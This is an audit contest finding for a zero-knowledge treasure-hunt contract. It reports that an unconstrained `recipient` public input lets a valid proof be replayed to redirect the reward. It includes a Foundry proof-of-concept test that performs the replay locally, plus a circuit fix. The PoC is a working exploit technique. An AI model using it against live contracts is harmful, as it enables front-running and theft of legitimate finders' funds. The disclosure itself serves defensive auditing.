SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Unconstrained `recipient ` public input allows valid proofs to be replayed with a different payout address

Author Revealed upon completion

Root + Impact

Description

  • The circuit accepts recipient as a public input, but never uses it in any constraint.

  • As a result, the proof is not bound to the payout address, allowing the same valid proof to be submitted with a different recipient .

fn main(treasure: Field, treasure_hash: pub Field, recipient: pub Field) {
assert(is_allowed(treasure_hash));
assert(std::hash::pedersen_hash([treasure]) == treasure_hash);
}

Risk

Likelihood:

  • Any valid claim transaction exposes the proof and public inputs on-chain.

  • Because recipient is not constrained by the circuit, an attacker can reuse the same proof and treasureHash while replacing recipientwith their recipient's address.

Impact:

  • An attacker can front-run or replay a valid proof and redirect the reward to themselves.

  • This breaks the intended replay protection described by the protocol and can result in loss of the legitimate finder’s reward.

Proof of Concept

The PoC deploys the verifier and TreasureHunt contract with 100 ether, then loads a valid proof, treasureHash, and original recipient from the generated fixtures. An attacker submits the same proof and treasureHash, but replaces the recipient with their own address; the claim succeeds and the reward is paid to the attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../src/Verifier.sol";
contract TreasureHuntRecipientReplayPoC is Test {
using stdJson for string;
HonkVerifier verifier;
TreasureHunt hunt;
address constant owner = address(0xDEADBEEF);
address constant attacker = address(0xBAD);
uint256 constant INITIAL_OWNER_BALANCE = 200 ether;
uint256 constant INITIAL_FUNDING = 100 ether;
function setUp() public {
vm.deal(owner, INITIAL_OWNER_BALANCE);
vm.startPrank(owner);
verifier = new HonkVerifier();
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(verifier));
vm.stopPrank();
}
function _loadFixture()
internal
view
returns (
bytes memory proof,
bytes32 treasureHash,
address payable originalRecipient
)
{
proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
string memory json = vm.readFile(
"contracts/test/fixtures/public_inputs.json"
);
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
treasureHash = inputs[0];
originalRecipient = payable(address(uint160(uint256(inputs[1]))));
}
function testPoC_proofCanBeReplayedWithDifferentRecipient() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable originalRecipient
) = _loadFixture();
address payable attackerRecipient = payable(address(0xBADBEEF));
uint256 reward = hunt.REWARD();
uint256 originalRecipientBalanceBefore = originalRecipient.balance;
uint256 attackerBalanceBefore = attackerRecipient.balance;
uint256 contractBalanceBefore = address(hunt).balance;
vm.prank(attacker);
// The proof was generated with originalRecipient in the public inputs,
// but the attacker submits the same proof with attackerRecipient instead.
hunt.claim(proof, treasureHash, attackerRecipient);
// The attacker receives the reward even though the proof was not
// generated for attackerRecipient.
assertEq(attackerRecipient.balance, attackerBalanceBefore + reward);
// The original recipient receives nothing.
assertEq(originalRecipient.balance, originalRecipientBalanceBefore);
// The contract pays out one reward.
assertEq(address(hunt).balance, contractBalanceBefore - reward);
// The treasure is marked as claimed, preventing the legitimate recipient
// from claiming it afterwards.
assertTrue(hunt.claimed(treasureHash));
assertEq(hunt.claimsCount(), 1);
}
}

Recommended Mitigation

Bind the recipient to the proof by using it in a circuit constraint. For example, include recipient in the hashed statement that the proof verifies

The key requirement is that recipient must affect at least one circuit constraint. Merely declaring it as a public input is not enough.

- assert(std::hash::pedersen_hash([treasure]) == treasure_hash);
+ assert(std::hash::pedersen_hash([treasure, recipient]) == treasure_hash);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!